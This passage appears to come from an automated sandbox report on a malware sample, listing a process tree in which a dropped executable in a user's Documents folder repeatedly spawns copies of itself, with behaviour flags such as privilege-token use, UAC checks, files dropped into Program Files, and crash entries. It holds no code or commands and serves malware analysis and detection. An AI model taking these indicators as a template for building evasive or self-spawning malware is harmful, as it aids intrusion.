C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5564

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5936

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5728

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3268

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5588

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6528

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:6932

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:5532

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:6680

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1228

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:6188

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1384

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4796

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1748

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:4468

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 24
4⤵
- Program crash
PID:7460

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:7416

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:7688

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:5772

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:4832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4832 -s 24
4⤵
- Program crash
PID:7332

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:8004

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:7560

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:8200

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:8688

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:9148

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:8524

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:8496

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:8316

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:9292

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:9816

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:9304

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:10096

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:9240

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:10476

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:10896

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:11216

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:10568

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:6940

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:7264

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:11876

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:11940

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:11824

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:12952

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:12320

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:8036

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:12708

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:7624

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:2028

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:10076

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:11332

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:11132

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:1720

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:2180

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:12224

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:13392

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:13988

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:12668

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:12440

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:12712

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:8372

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:13100

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:14836

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:15320

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:14756

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:14428

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:15776

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:15668

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:9232

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:15528

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:14172

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:17144

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:17360

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:17232

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:17752

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:18212

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:7536

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:7972

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:4808

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:10976

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:17992

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:16188

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:13664

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:10024

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:15156

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:18524

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:19328

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:19156

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:18584

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:19488

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:20152

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:5156

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:20440

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:17436

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:21136

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:21348

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:21040

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:22076

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:9328

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:21520

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:16432

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:19116

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:22756

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:22596

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:22928

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:21740

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:18188

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:23932

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:23592

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:24516

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:24520

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:24008

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:21408

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:24960

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:17500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 17500 -s 24
4⤵
- Program crash
PID:25396

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:25100

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:25004

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:15676

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:26448

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:26864

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:23440

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:27428

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:27368

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:27592

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:28156

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:25488

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:14928

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:27808

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:20960

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:22636

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:7500

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:15660

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:27856

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:28884

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:29524

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:30072

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:27384

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
- Checks whether UAC is enabled
- Drops file in Program Files directory
PID:5372

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:30264

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:30204

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:30776

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:31428

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:6496

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:31656

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:26992

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:23312

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:32188

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:13440

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:32600

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:32132

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:25292

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:33320

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:33508

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:33356

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:33412

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:33088

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
3⤵
PID:34504

C:\Users\Admin\Documents\3_5WR4gNXqezOL5zBS5VtCo1.exe
